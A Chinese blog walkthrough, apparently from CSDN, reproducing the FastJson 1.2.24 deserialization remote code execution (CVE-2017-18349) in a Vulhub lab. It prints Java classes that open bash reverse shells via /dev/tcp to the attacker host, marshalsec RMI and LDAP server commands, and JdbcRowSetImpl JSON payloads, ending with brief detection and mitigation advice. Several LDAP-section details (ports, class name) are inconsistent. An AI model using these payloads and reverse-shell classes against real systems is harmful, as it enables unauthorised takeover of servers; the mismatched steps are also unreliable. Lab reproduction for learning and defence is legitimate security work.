【反序列化】FastJson1.2.24 反序列化漏洞解析(CVE-2017-18349)

基于Vulhub平台完整复现+CVE-2017-18349复现+注意事项

编号:CVE-2017-18349

Fastjson是什么?

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)

fastjson反序列化漏洞原理?

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

靶场搭建

Ubuntu靶场环境:IP地址:192.168.200.47

KALI的攻击机IP地址:192.168.200.14

启动环境

docker-compose up –d

image.png
docker ps查看对应的容器端口号,端口为8090

docker ps

image.png
浏览器访问虚拟机ip:8090
image.png

漏洞复现(漏洞利用)

为了能成功的利用fastjson1.2.24反序列化漏洞,需要提前在Ubuntu虚拟机上搭建Web服务和RMI服务,通过windows 10物理机向fastjson服务器POST提交Poc后,使得靶机访问远程RMI服务,随后RMI将请求重定向到Web服务器后存放在Web服务器中的恶意Java代码(已编辑的反序列化类),从而成功实现远程命令执行。
JDNI有两个服务:分别是RMI和LDAP

利用RMI协议

在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件

import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.200.14/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译

javac TouchFile.java

在class文件所在的目录,Python起一个WEB服务。用8000端口进行访问

python -m http.server 8000

image.png
开启的服务商会出现相应的请求记录
image.png

使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.14:8000/#TouchFile" 9999

刷新靶场(http://192.168.200.47:8090)链接,抓包后改GET包为POST包,在发送的请求数据包中输入以下payload
image.png
然后发送到重发器中
image.png
报500错误样式image.png
构造的payload:

Content-Type: application/json
Content-Length: 139
{
	"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://192.168.200.14:9999/TouchFile",
	"autoCommit":true
	}
}

点击go
image.png
此时RMI监听效果,同时要开启监听
image.png
image.png
此时,不断的重发包接收到反弹shell,到此漏洞利用完成
image.png

利用LDAP协议

一样的做法,不过温馨提示:注意细节!!
在vulhub下的fastjson 1.2.24文件夹下保存以下代码为Getshell.java文件

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class Getshell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.14/8888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译

javac Getshell.java

在class文件所在的目录,Python起一个http服务。用8000端口进行访问

python -m http.server 9999

image.png
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.200.14:9000/#TouchFile"6666

刷新靶场(http://192.168.200.47:8090)链接,抓包后改GET包为POST包,在发送的请求数据包中输入以下payload

{
	"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.200.14:6666/GetShell",
	"autoCommit":true
	}
}

此时RMI监听效果,同时要开启监听,以使反弹shell能够接收的到
image.png
点击GO
image.png
很快,监听器就会收到请求,之后,反弹shell就会成功
image.png
至此复现完毕

总结:
复现过程中,我也出现很多很问题,实在想敲一敲自己的粗心大意的脑瓜,这东西真是一点问题都不能出现,细心做、按部就班的来着实是复现漏洞成功的首要因素,话说回来,例如,反弹shell接收不到,报了500错误一点反应没有,在网上查找文章说是java版本问题,切换之后的却实现了。

复现不是最终目的,能理解原理,并且能够最终复现成功对于掌握此漏洞算是锦上添花。

参考文章:https://blog.csdn.net/weixin_42282189/article/details/120258118

Fastjson是一款Java语言编写的高性能JSON处理器,被广泛应用于各种Java应用程序中。然而,Fastjson存在反序列化漏洞,黑客可以利用该漏洞实现远程代码执行,因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法: 1. 扫描源代码,搜索是否存在Fastjson相关的反序列化代码,如果存在,则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描:目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测,例如:AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法: 1. 利用Fastjson反序列化漏洞执行远程命令:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法: 1. 更新Fastjson版本:Fastjson官方在1.2.46版本中修复了反序列化漏洞,建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化:如果应用程序中不需要使用Fastjson反序列化功能,建议禁止使用该功能,可以使用其他JSON处理器。 3. 输入验证:对所有输入进行校验和过滤,确保输入数据符合预期,避免恶意数据进入系统。 4. 序列化过滤:对敏感数据进行序列化过滤,确保敏感数据不会被序列化。 5. 安全加固:对系统进行安全加固,如限制系统权限、加强访问控制等,避免黑客利用Fastjson反序列化漏洞获取系统权限。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值